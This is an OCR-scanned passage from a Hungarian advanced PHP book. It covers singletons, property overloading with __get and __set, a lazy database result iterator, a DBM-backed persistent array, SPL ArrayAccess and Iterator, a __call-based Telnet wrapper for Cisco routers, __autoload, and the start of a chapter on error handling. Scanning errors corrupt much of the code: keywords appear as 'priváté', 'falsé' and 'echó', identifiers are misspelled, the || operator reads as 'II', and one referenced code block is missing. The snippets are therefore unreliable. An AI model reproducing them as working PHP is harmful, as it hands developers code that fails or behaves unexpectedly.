A fenti kódot futtatva a "hello world" kimenetet kapjuk, ahogy egy egykétől várnánk.
Megfigyelhetjük, hogy a konstruktőr tagfüggvényt priváte-ként vezettük be. Ez nem el-
írás: ha privát tagfüggvénnyé tesszük, a new Singleton utasítással nem hozhatunk létre
belőle példányt, csak az osztály hatókörén belül. Ha a példányosításra az osztályon kívül
teszünk kísérletet, végzetes hibát kapunk.

Vannak, akik irtóznak a gyártófüggvényektől. Azon fejlesztőket kielégítendő, akik ilyen


tüneteket mutatnak, a konstruktőrön keresztül létrehozott egykék számára rendelkezésre
áll a__ get () és a____ set () művelet is:

class Singleton {
priváté static $props = array();

public function______ construct () {}


public function _____ get($name)
{
if (array_key_exists($name, self::$props)) {
return self::$props[$name];
}
}
public function _____set($name, $value)
{
self::$props[$name] = $value;
}
}

$a = new Singleton;
$b = new Singleton;
$a->property = "hello world";
print $b->property;
56 PHP fejlesztés felsőfokon

Ebben a példában az osztály valamennyi tulajdonságának értékét egy statikus tömbben


tárolja. Amikor írás vagy olvasás céljából hozzáférünk valamelyik tulajdonsághoz,
a___get és____ set eléréskezelők ebben a statikus tömbben keresnek, nem pedig az ob-
jektum belső tulajdonságtáblájában.

Én nem viszolygok a gyártófüggvényektől, így gyakran fordulok hozzájuk. Az egykék vi-


szonylag ritkák a programokban, így ha különleges módon kell példányosítani őket (egy
hozzájuk tartozó gyáron keresztül), az csak megerősíti különbözőségüket. Emellett a pri-
vát konstruktőr alkalmazásával megakadályozhatjuk új tagok helytelen példányosítását az
osztályból.

A 6. fejezetben egy gyártófüggvénnyel egy ál-egykét hozunk létre, ahol az osztálynak


egyedi paraméterenként lesz egyetlen globális példánya.

Túlterhelés
Most megpróbáljuk együtt hasznosítani a fejezetben eddig bemutatott megoldásokat, az
eredményhalmazhoz pedig túlterheléssel objektumközpontúbb felületet biztosítunk. Azon
programozók számára, akik megszokták a Java JDBC adatbázis-kapcsolati rétegének hasz-
nálatát, ismerős megközelítés lehet az összes eredmény egyetlen objektumban való tárolása.

Egészen pontosan a következőt szeretnénk:

$query = "SELECT name, email FROM users";


$dbh = new DB_Mysql_Test ;
$stmt = $dbh->prepare($query)->execute();
$result = $stmt->fetch();
while($result->next()) {
echó "<a href=\"mailto:$result->email\">$result->name</a>";
}

A kód vezérlési folyamata normális módon halad, amíg végre nem hajtottuk a lekérdezést.
Ezután viszont ahelyett, hogy egyesével, társításos tömbként adnánk vissza a sorokat, ele-
gánsabb, ha egy eredményobjektumot adunk vissza egy belső bejáróval, ami tárolja a már
megvizsgált sorokat.

Nem adunk meg külön eredménytípust minden adatbázis számára, amit a DB_Connection
osztályokon keresztül támogatunk, ehelyett az utasítás osztályainak többalakúságát kihasz-
nálva egyetlen DB_Result osztályt hozunk létre, amely minden rendszerfüggő műveletét
arra a DB_Statement objektumra ruházza át, amelyből létrejött.
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 57

A DB_Result-nak előre és visszafelé haladó bejáróval is rendelkeznie kell, illetve azzal


a képességgel, hogy vissza tudja állítani a helyzetét az eredményhalmazban. Ez az eddig
tanultak alapján könnyen megvalósítható. íme a DB_Result egy egyszerű megvalósítása:

class DB_Result {
protected $stmt;
protected $result = array ();
priváté $rowIndex = 0;
priváté $currlndex = 0;
priváté $done = falsé;

public function______ construct(DB_Statement $stmt)


{
$this->stmt = $stmt;
}
public function first()
{
if ( !$this->result) {
$this->result[$this->row!ndex+ + ] = $this->stmt->fetch_assoc() ;
}
$this->currlndex = 0;
return $this;
}
public function last()
{
if(!$this->done) {
array_push($this->result, $this->stmt->fetchall_assoc());
}
$this->done = true;
$this->currlndex = $this->rowIndex = count($this->result) - 1;
return $this;
}
public function next()
{
if ($this->done) {
return falsé;
}
$offset = $this->currlndex + 1;
if ( !$this->result[$offset]) {
$row = $this->stmt->fetch_assoc();
if(!$row) {
$this->done = true;
return falsé;
}
$this->result[$offset] = $row;
++$this->rowIndex;
++$this->currIndex;
return $this;
}
58 PHP fejlesztés felsőfokon

else {
++$this->currIndex;
return $this;
}
}
public function prev()
{
if($this->currlndex == 0) {
return falsé;
}
--$this->currIndex;
return $this;
}
}

A DB_Result-tal kapcsolatban a következőket kell megjegyeznünk:

• Konstruktora típusjelzéssel biztosítja, hogy a neki átadott változó DB_Statement


objektum legyen. Mivel a bejárók megvalósítása megköveteli, hogy a $stmt meg-
feleljen a DB_Statement API-nak, ez ésszerű ellenőrzés.
• Az eredmények lusta előkészítésűek (addig nem jönnek létre, amíg nem hivatkoz-
nak rájuk). Konkrétan az egyes sorok csak akkor töltik fel a DB_Result: : result
tömböt, amikor a DB_Result objektum bejárása az indexükhöz ér az eredményhal-
mazban. Azt, hogy ez miért fontos, a 10. fejezetben tárgyaljuk, mindenesetre a lé-
nyeg röviden az, hogy a lusta előkészítés révén elkerülhetünk egy olyan munkát,
aminek az elvégzésére a tényleges hívásig nincs is szükség.
• A soradatokat a DB_Result: : result tömb tárolja. A kívánt API azonban az ada-
tokra $obj ->column, nem pedig $obj ->result [ ' column' ] formában hivatko-
zik, úgyhogy még van tennivalónk.

Az eredményhalmazok objektumközpontú felületének használatában a nehézséget az jelen-


ti, hogy az oszlopneveket tulajdonságként érjük el. Miután természetesen egyetlen lekérde-
zés oszlopainak nevét sem ismerjük, amikor a DB_Result-ot írjuk, az oszlopokat előre
nem tudjuk helyesen bevezetni. Továbbá, mivel a DB_Result minden megvizsgált sort tá-
rol, az eredményadatokat valamilyen tömbben (ebben az esetben a DB_Result: : result
nevűben) kell tárolnia.

Szerencsére a PHP két tagfüggvény révén lehetővé teszi a tulajdonságokhoz való hozzáfé-
rés túlterhelését:

• function__ get($varname) {} - E tagfüggvény meghívására akkor kerül sor, amikor ol-


vasás céljából próbálunk hozzáférni egy meghatározatlan tulajdonsághoz.
• function__ set($varname, $value) {} - E tagfüggvény meghívására akkor kerül sor,
amikor írás céljából próbálunk hozzáférni egy meghatározatlan tulajdonsághoz.
2. fejezet • Objektumközpontú programozás tervezési minták segítségévei 59

Esetünkben a DB_Result-nak tudnia kell, hogy amikor egy eredményhalmaz oszlopához


férünk hozzá, a halmaz aktuális sorában az adott oszlop értékét kell visszaadni. Ezt az
alábbi___ get függvénnyel érhetjük el, amelyben a függvénynek átadott egyetlen paramé-
tert a rendszer a keresett tulajdonság nevére állítja:

public function _____ get($varname)


{
if(array_key_exists($varname,
$this->result[$this->currlndex])) {
return $this->result[$this->currlndex][$varname];
}
}

Itt azt ellenőrizzük, hogy az átadott argumentum létezik-e az eredményhalmazban. Ha


igen, az elérőfüggvény belekukkant a $this->result-ba, hogy megkeresse a megadott
oszlopnévhez tartozó értéket.

Miután az eredményhalmaz nem módosuló (vagyis a soradatok egyike sem módosítható


ezen a felületen keresztül), nem kell törődnünk egyetlen tulajdonság beállításával sem.

A tulajdonság-felülbírálási képességnek egyéb haszna is van. Érdekes megoldás például,


amikor a___get () és a____ set () segítségével maradandó társításos tömböket hozunk
létre, amelyek egy DBM állományhoz (vagy más maradandó - perzisztens - tárolóhoz)
kapcsolódnak. Ha ismerjük a Perl nyelvet, észrevehetjük a hasonlóságot a tie () ottani
használatával.

Maradandó hasítótábla (hash) készítéséhez egy Tied nevű osztályt hozunk létre, ami egy
leírót nyit egy DBM állományhoz. (A DBM állományokkal részletesebben a 10. fejezetben
foglakozunk.) Amikor egy tulajdonsággal kapcsolatban olvasási kérelem érkezik, az érté-
ket megszerezzük a hasítótáblából, és párhuzamosítjuk (hogy összetett adattípusokat is tá-
rolhassunk). Az írási műveleteknél ehhez hasonlóan sorosítjuk a változóhoz rendelt érté-
ket, és a DBM-be írjuk. Lássunk egy példát, ahol egy DBM fájlt egy társításos tömbbel
kapcsolunk össze, így lényegében egy maradandó tömböt készítünk (ami hasonló egy
Tied hasítótáblához a Peri-ben):

class Tied {
priváté $dbm;
priváté $dbmFile;
function ____ construct( $ f ile = falsé)
{
$this->dbmFile = $file;
$this->dbm = dba_popen($this->dbmFile, "c", "ndbm");
}
function____ destructO
{
60 PHP fejlesztés felsőfokon

dba_close($this->dbm);
}
function __ get($name)
{
$data = dba_fetch($name, $this->dbm);
if($data) {
print $data;
return unserialize($data);
}
else {
print "$name not found\n";
return falsé;
}
}
function___ set($name, $value)
{
dba_replace($name, serialize($value), $this->dbm);
}
}
Most már lehet egy társításos tömb típusú objektumunk, amely megengedi a maradandó
adatokat. Tegyük fel, hogy így használjuk:

<?
$a = new Tied("/tmp/tied.dbm");
if(!$a->counter) {
$a->counter = 0 ;
}
else {
$a->counter++;
}
print "This page has been accessed ".$a->counter." times.\n";
?>

Ekkor minden elérés eggyel növeli a számlálót:

> php 19.php

This page has been accessed 1 times.


> php 19.php

This page has been accessed 2 times.

Túlterheléssel a tulajdonságokhoz hozzáférés-szabályozást is biztosíthatunk. Mint tudjuk,


a PHP változói bármilyen típusúak lehetnek, és a típusok (tömb, karakterlánc, szám és így
tovább) között gond nélkül válthatunk is. Mindazonáltal bizonyos változókat arra szeret-
nénk kényszeríteni, hogy adott típusúak maradjanak (mondjuk hogy egy skaláris változó
2. fejezet • Objekturnközpontú programozás tervezési minták segítségéve! 61

egész típusú legyen). Az alkalmazás kódjában ezt úgy érhetjük el, hogy saját kezűleg el-
lenőrzünk minden adatot, mielőtt egy változóhoz rendelnénk, de ez igen fárasztóvá vál-
hat, rengeteg kódismétlést igényel, és előbb-utóbb könnyű megfeledkezni róla.

A__ get () és a____ set () használatával megvalósítható egyes objektumtulajdonságok


értékadásának típusellenőrzése. Ezeket a tulajdonságokat nem szabványos tulajdonság-
ként vezetjük be, hanem az objektumon belül egy privát tömbben tároljuk. Ezenkívül egy
típustérképet is meghatározunk, ami azon változókból áll, amelyek típusát ellenőrzni sze-
retnénk, illetve meghatározzuk a típusellenőrzésre használni kívánt függvényt. íme egy
osztály, amely name tulajdonságától megköveteli, hogy karakterlánc legyen, counter tu-
lajdonságának pedig egész (integer) típusúnak kell lennie:

class Typed {
priváté $props = array();
static $types = array (
"counter" => "is_integer",
"name" => "is_string"
);
public function _____ get($name) {
if(array_key_exists($name, $this->props)) {
return $this->props[$name];
}
}
public function _____ set($name,$value) {
if (array_key_exists($name, self::$types)) {
if(call_user_func(self::$types[$name],$value)) {
$this->props[$name] = $value;
}
else {
print "Type assignment error\n";
debug_print_backtrace();
}
}
}
}

Amikor értékadás történik, az adott tulajdonságot kikeressük a self: : $types tömbből,


és futtatjuk az ellenőrző függvényét. Ha a típusokat helyesen illesztjük, minden úgy mű-
ködik, mint a karikacsapás, amit láthatunk is, ha futtatjuk a következő kódot:

$obj = new Typed;


$obj->name = "George";
$obj->counter = 1;
62 PHP fejlesztés felsőfokon

Ha viszont megsértjük a típusmegszorításokat (egy tömbnek a $obj ->name-hez való ren-


delésével, amelyet is_string típusúként adtunk meg), végzetes hibát kapunk.

Hajtsuk végre például ezt a kódot:

$obj = new Typed;


$obj->name = array("George");

Ekkor az alábbi hibát kapjuk:

> php 2 0.php


Type assignment error
#0 typed->__ set(name, Array ([0] => George)) called at [(null):3]
#1 typed->unknown(name, Array ([0] => George)) called at [/Users/george/
Advanced PHP/examples/chapter-2/20.php:28]

Az SPL és a bejárók
Mindkét megelőző példában olyan objektumokat hoztunk létre, amelyektől tömbszerű vi-
selkedést vártunk. Nagyrészt sikerrel jártunk, de hozzáféréskor még mindig objektumként
kell kezelnünk őket. Ez például működik:

$value = $obj->name;

Ez viszont futásidejű hibát okoz:

$value = $obj['name'];

Ugyanilyen frusztráló, hogy nem használhatjuk velük a szokásos tömbbejáró módszere-


ket. Ez is futásidejű hibát vált ki:

foreach($obj as $k => $v) {}

Ahhoz, hogy a fenti formájú kódokat bizonyos objektumokkal működőképessé tegye,


Marcus Boerger megírta a PHP5-höz a szabványos PHP könyvtár bővítményt (Standard
PHP Library, SPL). Az SPL felületek egy csoportját biztosítja, és a Zend Engine-hez kap-
csolódik, ami úgy futtatja a PHP-t, hogy lehetővé teszi a bejáró és tömbelérő kódok mű-
ködését azokkal az osztályokkal, amelyek megvalósítják az említett felületeket. A felület,
amelyet az SPL meghatároz a tömb stílusú hozzáféréshez, az alábbi kódot tartalmazza:
interface ArrayAccess {
function offsetExists($key);
function offsetGet($key);
function offsetSet($key, $value);
function offsetUnset($key);
}
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 63

Mivel a meghatározás C kódon belül szerepel, természetesen nem ezt fogjuk látni, de
PHP-re fordítva így festene.

Ha teljesen el akarjuk hagyni a Tied objektumközpontú felületét, és azt szeretnénk, hogy


elérő műveletei tömbökhöz hasonlítsanak, a_____ get () és____ set () műveleteket a követ-
kezőképpen cserélhetjük ki:

Az alábbi kód most már nem működik, hiszen eltávolítottuk a túlterhelt elérő műveleteket:

$obj->name = "George"; // nem működik

Az elérést így hajthatjuk végre:

$obj ['name'] = "George";

Ha azt szeretnénk, hogy objektumaink tömbként viselkedjenek, amikor beépített tömb-


függvényeknek (például array map ()) adjuk át őket, megvalósíthatjuk az Iterator és
IteratorAggregate felületeket, aminek eredményeként a kapott bejáró (iterator) meg-
valósítja a paraméterként tömböt váró függvényekben való meghíváshoz szükséges felü-
leteket, íme egy példa:
interface IteratorAggregate {
function getlterator();
}
64 PHP fejlesztés felsőfokon

interface Iterator {
function rewind();
function hasMore();
function key();
function current();
function next();
}

Ebben az esetben egy osztály váza így festene:

class Klasslterator implements Iterator {


/* ... */
}

class Klass implements IteratorAggregate {


function getlterator() {
return new Klasslterator($this);
}
/* ... */
}

Az alábbi kód lehetővé teszi, hogy az objektumot ne csak f oreach (), hanem f or () cik-
lusokban is használhassuk:

$obj = new Klass;

for($iter = $obj->getIterator(); $iter->hasMore(); $iter =


$iter->next())
{
// működik a $iter->current()-tel
}

Megtehetjük, hogy a korábban megírt elvont adatbázis-ábrázolásban a DB_Result-ot be-


járóvá tesszük. Lássunk egy példát arra, hogyan módosíthatjuk úgy az API-t, hogy megva-
lósítsa az Iterator-t:

class DB_Result {
protected $stmt;
protected $result = array();
protected $rowIndex = 0;
protected $currlndex = 0;
protected $max = 0;
protected $done = falsé;

function ____ construct(DB_Statement $stmt)


{
$this->stmt = $stmt;
}
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 65

function rewind() {
$this->currlndex = 0;
}
function hasMore() {
if ($this->done && $this->max == $this->currlndex) {
return falsé;
}
return true;
}
function key() {
return $this->currlndex;
}
function current() {
return $this->result[$this->currlndex];
}
function next() {
if ($this->done &&) {
return falsé;
}
$offset = $this->currlndex + 1;
if(!$this->result[$offset]) {
$row = $this->stmt->fetch_assoc();
if(!$row) {
$this->done = true;
$this->max = $this->currlndex;
return falsé;
}
$this->result[$offset] = $row;
++$this->rowIndex;
++$this->currIndex;
return $this;
}
else {
++$this->currlndex;
return $this;
}
}
}

Ezen kívül a MysqlStatement-et úgy kell módosítani, hogy megvalósítsa az


IteratorAggregate felületet, hogy átadhassuk egy f oreach () -nek vagy más tömbke-
zelő függvénynek. Ez csupán egyetlen függvény hozzáadását igényli, valahogy így:

class MysqlStatement implements IteratorAggregate {


function getlterator() {
return new MysqlResultlterator($this);
}
}
66 PHP fejlesztés felsőfokon

Ha az osztály bejárójaként nem szeretnénk külön osztályt létrehozni, de a felület által nyúj-
tott finom vezérlésre továbbra is szükségünk van, természetesen megtehetjük, hogy egyet-
len osztály valósítja meg mind az IteratorAggregate, mind az Iterator felületet.

A nagyobb kényelem kedvéért az Iterator és ArrayAccess felületeket egyesíthetjük,


hogy olyan objektumokat hozzunk létre, amelyek a tömbökkel azonos viselkedést mutat-
nak mind a belső, mind a felhasználói függvényekben. Ez a Tied-hoz hasonló, tömbsze-
rű viselkedésre tervezett osztályok esetében ideális megoldás. Lássuk is, hogyan módosít-
hatjuk úgy a Tied osztályt, hogy megvalósítsa mindkét felületet:

class TiedArray implements ArrayAccess, Iterator {


priváté $db;
priváté $current;
function ____ construct( $ f ile) {
$this->db = dba_popen($file, " c " , "flatfile");
if(!$this->db) {
throw new Exception("$file could not be opened");
}
}
function __ destruct()
{
dba_close($this->db);
}
function offsetExists($index) {
return dba_exists($index, $this->db);
}
function offsetGet($index) {
return unserialize(dba_fetch($index, $this->db));
}
function offsetSet($index, $newval) {
dba_replace($index, serialize($newval), $this->db);
return $newval;
}
function offsetUnset($index) {
return dba_delete($index, $this->db);
}
function rewindü {
$this->current = dba_firstkey($this->db) ;
}
function current() {
$key = $this->current;
if($key !== falsé) {
return $this->offsetGet($key);
}
}
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 67

function next() {
$this->current = dba_nextkey($this->db);
}
function valid() {
return ($this->current == falsé)?false:true;
}
function key() {
return $this->current;
}
}
?>

Az Iterator megvalósításához elengedhetetlen bejáró műveletek a módosított Tied


osztályban a dba_firstkey (), amely a belső DBM állomány elejére áll, illetve
a dba_nextkey (), amellyel bejárjuk az állományt.

Ha elvégezzük az alábbi módosításokat, a Tied objektumokat ugyanúgy járhatjuk be,


mint egy szokványos társításos tömböt:

$obj = new Tied("/tmp/tied.dbm");


$obj->foo = "Foo";
$obj->bar = "Bar";
$obj->barbara = "Barbara";

foreach($obj as $k => $v) {


print "$k => $v\n";
}

Futtatáskor ezt kapjuk:

foo => Foo


counter => 2
bar => Bar
barbára => Barbara

Honnan származik a counter? Ne feledjük, ez maradandó (perzisztens) hasítótábla:


a counter a DBM fájl utolsó használatából marad vissza.
68 PHP fejlesztés felsőfokon

A PHP a___call () visszahívható függvényen keresztül a tagfüggvény-túlterhelést is tá-


mogatja. Ez azt jelenti, hogy ha meghívjuk egy objektum valamelyik tagfüggvényét és az
nem létezik, helyette a____call () hívódik meg. A szolgáltatást általában arra használjuk,
hogy védekezzünk a meghatározatlan tagfüggvények ellen. A következő példában egy
osztály___ call () horgának egy olyan megvalósítását láthatjuk, amely egyszerűen kiírja
a hívni próbált tagfüggvény nevét, illetve az osztálynak átadott argumentumokat:
class Test {
public function __ call($funcname, $args)
{
print "Undefined method $funcname called with va r s: \ n " ;
print_r($args);
}
}

Próbáljunk meg nem létező tagfüggvényt végrehajtani:


$obj = new Test;
$obj->hello("george") ;

Ekkor a következő kimenetet kapjuk:


Undefined method hello called with vars:
Array
(
[0] => george
)

A___call () kezelők rendkívül hasznosak a távoli eljáráshívásokban (remote procedure


call, RPC), ahol nem valószínű, hogy az ügyfél osztály megírásakor pontosan ismerjük
a távoli kiszolgáló által támogatott tagfüggvényeket. Az RPC tagfüggvényekkel részlete-
sebben a 16. fejezetben foglalkozunk, de hogy röviden bemutassuk használatukat itt is,
összedobunk egy objektumközpontú felületet Cisco útválasztókhoz. A Cisco útválasztók-
ba hagyományosan a Telneten keresztül jelentkezünk be, és a beállítást, illetve vezérlést
ezen a parancssoros felületen keresztül végezzük. A Cisco útválasztóknak saját operációs
rendszerük (IOS) van, amelynek különböző változatai más-más szolgáltatáskészletet és
parancsformát támogatnak. Persze nem kell teljes felületet készítenünk minden IOS-
változathoz; a___ call () -ra bízhatjuk a parancstovábbítás automatikus kezelését.

Mivel az útválasztót csak a Telneten át érhetjük el, a PEAR Net_Telnet osztályát fogjuk bő-
víteni, hogy biztosítsuk az elérési réteget. A Telnet részleteivel a szülőosztály foglalkozik, így
osztályunkban csak két valódi függvényre lesz szükség. Az első, a login (), a bejelentke-
zést kezeli; a jelszókérő jelre vár, és amikor az megérkezik, elküldi a bejelentkező adatait.
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 69

PEAR

A PHP bővítmény és alkalmazástár (PHP Extension and Application Repository, PEAR)


a PHP csoport tevékenységéhez lazán kapcsolódó projekt, amelynek célja, hogy magas
színvonalú, objektumközpontú, újrahasznosítható alapelemek gyűjteményét biztosítsa al-
kalmazások PHP nyelven történő feljesztéséhez. A kötetben számos PEAR osztályt hasz-
nálunk, bár én gyakran a saját elemek építését részesítem előnyben. Különösen azokban
az alkalmazásokban, ahol a teljesítmény létfontosságú, könnyebb az igényekhez pontosan
illeszkedő, felesleges kóddal nem terhelt megoldást kidolgozni, bár néha jól jöhet egy
már létező megoldás.

A PHP a 4.3-as kiadás óta tartalmazza a PEAR telepítőt, amelyet a parancssorból a követ-
kezőképpen indíthatunk el:

> pear

Ha látni szeretnénk a telepítő valamennyi lehetőségét, írjuk be ezt:

> pear help

A számunkra érdekes parancs a pear install. Esetünkben a futtatáshoz a Net_Telnet


osztályra van szükség; ennek telepítése az alábbi egyszerű módon történik:

> pear install Net_Telnet

A végrehajtást lehet, hogy csak rendszergazdaként (root) tehetjük meg. Az összes elérhető
PEAR csomagot az alábbi paranccsal írathatjuk ki:

> pear list-all

A legfrissebb információkért érdemes meglátogatnunk a PEAR webhelyét is


a http: / /pear. php. net címen.

A második függvény, amire a Net_Telnet osztályban szükségünk van, a _ _call () ke-


zelő. Itt a következő részletekkel foglalkozunk:

• Számos Cisco IOS parancs többszavas parancs. Az útválasztási táblázat megjeleníté-


sére irányuló például a show ip route, amit támogathatunk egyszerre $router-
>show_ip_route () és $router->show("ip route") formában is. A tagfügg-
vény nevében minden aláhúzást szóközre kell cserélnünk, az eredményt pedig
össze kell fűznünk a többi argumentummal, hogy megkapjuk a parancsot.
70 PHP fejlesztés felsőfokon

• Ha meg nem valósított parancsot hívunk meg, nem árt, ha naplózzuk a hibát. (Eset-
leg használhatjuk a die () -t is vagy kivételt válthatunk ki. A 3. fejezetben részlete-
sen tárgyaljuk a hibakezelő eljárásokat.)

íme a Cisco_RPC megvalósítása (meglehetősen rövid, pedig a teljes IOS-parancskészletet


támogatja):

require_once "Net/Telnet.php";
class Cisco_RPC extends Net_Telnet {
protected $password;
function _ _construct($address, $password,$prompt=false)
{
parent::__ construct($address) ;
$this->password = $password;
$this->prompt = $prompt;
}
function login()
{
$response = $this->read_until("Password:") ;
$this->_write($this->password);
$response = $this->read_until("$this->prompt>");
}
function _ _call($func, $var) {
$func = str_replace("_", " ", $func);
$func .= " ".implode(" ", $var);
$this->_write($func);
$response = $this->read_until("$this->prompt>");
if($response === falsé II strstr($response, "%Unknown command")) {
error_log("Cisco command $func unimplemented", E_USER_WARNING) ;
}
else {
return $response;
}
}
}

A Cisco_RPC egyszerűen használható. Példaként lássunk egy programot, amellyel beje-


lentkezünk az útválasztóba a 10.0.0.1 IP címen, és kiíratjuk az útválasztási táblázatot:

$router = new Cisco_RPC("10.0.0.1", "password");


$router->login();
print $router->show("ip r ou t e " );
2. fejezet • Objektumközpontú programozás tervezési minták segítségével 7

_ _autoload()

Az utolsó „mágikus" túlterhelő művelet, amelyről a fejezetben szót kell ejtenünk, az


_ _autoload (), amely globális visszahívást biztosít, amikor egy nem létező osztályt próbá-
lunk példányosítani. Ha olyan csomagoló rendszerrel rendelkezünk, amelyben az osztályok
nevei megfelelnek azon fájlokénak, amelyben meghatározták őket, az_ _autoload () se-
gítségével menet közben (just-in-time) építhetjük be az osztálykönyvtárakat.

Ha a példányosítani kívánt osztály meghatározatlan, meghívódik az_ _autoload ()


függvény, és újabb kísérlet történik a példányosításra. Ha a második kísérlet sem sikerül,
a szokásos végzetes hiba lép fel.

Ha a PEAR-hez hasonló csomagoló rendszert használunk, ahol a Net_Telnet osztály


meghatározása a Net/Telnet .php állományban található, az alábbi_ _autoload()
függvény menet közben tölti azt be:

function _ _autoload($classname) {
$filename = str_replace( " _ " , " / " , $classname). '. php';
include_once $filename;
}

Az osztálynév fájlnévre fordításához csak ki kell cserélnünk minden aláhúzást perjelre és


hozzáfűzni a . php végződést. Ha a betöltés (include) is megtörtént, bármilyen fájl
betöltése nélkül végrehajthatjuk az alábbi utasítást, és az mindaddig sikeres lesz, amíg
az elérési úton megtalálható a Net /Telnet .php:

<?php
$telnet = new Net_Telnet;
? >

További olvasmányok
Rengeteg kitűnő könyv létezik az objektumközpontú programozásról és a tervezési min-
tákról, de az én személyes kedvenceim egyértelműen a következők:

• Programtervezési minták {Design Patterns - Erich Gamma, Richárd Helm, Ralph


Johnson és John Vlissides; Kiskapu Kiadó, 2004). A szerzőkre (e könyvnek köszön-
hetően) gyakran hivatkoznak a Négyek bandája („Gang of four") néven. A tervezé-
si mintákkal foglalkozó kötetek legnagyobb klasszikusa.
• Patterns of Enterprise Application Architecture (Martin Fowler). A szerző hihetetle-
nül tapasztalt; könyve érdekfeszítő és igen gyakorlatias megközelítésben tárgyalja
a tervezési mintákat, különösen a Világhálóval kapcsolatban.

A fenti kötetek egyike sem támaszkodik a PHP-re, de ha hajlandóak vagyunk végigrágni


magunkat a C++, C# és Python kódokon, meglátjuk, megéri a fáradságot.
Hibakezelés
Hibázni emberi dolog. Murphy kimerítő törvénygyűjteménye az elkerülhetetlenül bekö-
vetkező hibákról mindenki számára ismert. A programozás során a hibák megjelenésük
szerint két alapvető csoportba sorolhatók:

• Külső hibák - Olyan hibák, amelyeknél a kód nem várt módon kezd futni egy olyan
programrész következtében, ami nem várt módon működik. Ilyen például, ha nem
sikerül kapcsolódni egy adatbázishoz, pedig a kód sikeres kapcsolódást követel meg.
• Kódlogikai hibák - Ezekre a hibákra hivatkoznak angolul ,,bug' (bogár) néven; olyan
hibák, amelyeknél maga a kód hibás, mert vagy nem működő logikára épül, vagy
elírtuk.

Az említett két hibakategória számos vonásában jelentősen különbözik:

• Külső hibákra mindig lehet számítani; nem számít, hogy maga a kód helyes-e. Mi-
vel ezek a programtól függetlenek, önmagukban nem is tekinthetők hibáknak.
• Az olyan külső hibák, amelyekre nem számítunk a kódban, lehetnek igazi hibák.
Ha például naivan azt feltételezzük, hogy az adatbázishoz való kapcsolódás mindig
sikerrel jár, hibát vétünk, mert így az alkalmazás szinte biztosan helytelenül reagál,
ha a kapcsolat mégsem jön létre.
• A kódlogikai hibákat jóval nehezebb nyomon követni, mint a külső hibákat, hiszen
helyüket nyilván nem ismerjük. Mindazonáltal az adatkövetkezetesség ellenőrzésé-
vel felfedhetők.

A PHP rendelkezik beépített hibakezeléssel, illetve egy, a hiba súlyosságát vizsgáló rend-
szerrel, ami lehetővé teszi, hogy csak azokról a hibákról értesüljünk, amelyek elég komo-
lyak ahhoz, hogy érdekesek legyenek számunkra. A PHP-ben a hibáknak három súlyos-
sági szintje létezik:

• E_NOTICE
• E_WARNING
• E ERROR
74 PHP fejlesztés felsőfokon

Az E_NOTICE hibák kisebb, nem végzetes hibajelzések, amelyek a kódban esetlegesen


előforduló hibákat segítenek azonosítani. Általában valami olyasmire figyelmeztetnek, ami
működik, de nem biztos, hogy azt csinálja, amit szerettünk volna. Ilyen lehet például,
amikor egy változóra azelőtt hivatkozunk, hogy értéket adtunk volna neki:

<?php
$variable++;
?>

A fenti kód a $variable értékét l-re növeli (a változók példányosításkor a 0, a falsé,


vagy az üres karakterlánc értéket kapják), de E_N0TICE hibát vált ki. Helyette használjuk
inkább ezt:

<?php
$variable = 0;
$variable++;
?>

Az E_NOTICE nyújtotta ellenőrzés arra szolgál, hogy megakadályozzuk a változónevek el-


írásából eredő hibákat. Az alábbi kódblokk például működik:

<?php
$variable = 0;
$variabel++;
?>

A gond csak az, hogy nem a $variable, hanem a $variabel értékének növelésére ke-
rül sor. Az E_N0TICE az ilyen hibákra figyelmeztet, hógy elkaphassuk azokat. Olyan,
mintha egy Perl programot a use warnings és a use strict utasítással futtatnánk, vagy
egy C programot a -Wall kapcsolóval fordítanánk le.

A PHP-ben az E_N0TICE hibák alapállapotban ki vannak kapcsolva, mert meglehetősen


hosszú, ismétlődő üzeneteket tartalmazó naplót eredményeznek. Saját programjaim fej-
lesztésekor én inkább bekapcsolom őket, hogy megkönnyítsem a kódtakarítást, és csak
az üzemi kiszolgálón kapcsolom ki az ellenőrzést.

Az E_WARNING hibák nem végzetes futásidejű hibák. Nem állítják meg és nem módosítják
a programvezérlést, csak jelzik, hogy valami rossz történt. Számos külső hiba eredményez
E_WARNING figyelmeztetést; ilyen például, amikor a mysql_connect () -hez az f open () -t
hívjuk meg.
3. fejezet • Hibakezelés 75

Az E_ERROR hibák helyrehozhatatlan hibák, amelyek leállítják a futó program végrehajtá-


sát. Ilyen például, amikor nem létező osztályt próbálunk példányosítani, vagy egy függ-
vényben nem a típusjelzésnek megfelelő típust használjuk. (Érdekes módon, ha nem
megfelelő számú argumentumot adunk át egy függvénynek, az csak E_WARNING hiba.)

Ahhoz, hogy saját hibákat határozzunk meg, a PHP a trigger_error () függvényt bo-
csátja rendelkezésünkre. A felhasználó háromféle hibát válthat ki, melyek hasonlóak az
eddig tárgyaltakhoz.-

• E_USER_NOTICE
• E_USER_WARNING
• E_USER_ERROR

A felhasználói hibák kiváltása a következőképpen történhet:

while(Ifeof($fp)) {
$line = f g e t s ( $ f p ) ;
if(!parse_line($line)) {
trigger_error("Incomprehensible data encountered", E_USER_NOTICE);
}
}

Ha nem adunk meg hibaszintet, az E_USER_N0TICE használatára kerül sor.

Az említetteken kívül további öt, némileg ritkábban előforduló hibafajta létezik:

• E_PARSE - A programban nyelvtani hiba található, így nem értelmezhető. Végzetes


hibának számít.
• ECOMPILEERROR - A motorban végzetes hiba következett be a program lefordítá-
sa közben.
• ECOMPILEWARNING -A program feldolgozása közben nem végzetes hiba lépett fel
a motorban.
• E C O R E E R R O R - Végzetes futásidejű hiba történt a motorban.
• ECOREWARNING - Nem végzetes futásidejű hiba történt a motorban.

A PHP emellett az E_ALL kategóriát is használja, az összes hibaszint jelzésére.

A hibajelzések szintjét a php. ini állomány error_reporting beállításával adhatjuk


meg. Az error_reporting meghatározott állandókat használó bitmező-ellenőrző; a kö-
vetkező állandó utal például az összes hibára:

error_reporting = E_ALL
76 PHP fejlesztés felsőfokon

Ha a hibák közül csak az E_NOTICE-t akarjuk kizárni, XOR-ozni kell az E_ALL-t és az


E_NOTICE-t:

error_reporting = E_ALL ~ E_NOTICE

Az error_reporting alábbi beállításával csak a végzetes hibákat figyeljük (a két hibatí-


pus között bitenkénti OR szerepel):

